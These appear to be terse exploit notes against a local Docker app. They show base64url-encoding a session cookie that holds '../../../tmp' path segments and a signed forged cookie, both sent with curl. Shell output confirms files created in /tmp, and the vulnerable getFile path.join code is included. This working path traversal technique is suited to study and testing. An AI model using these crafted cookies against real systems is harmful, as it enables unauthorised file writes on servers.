docker-compose up --build

docker-compose up

└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 

└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'

root@de14139fdebf:/app# ls /tmp
flower

export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'

export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};

└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'

root@eb8750bd4a56:/tmp# ls
flowerwitch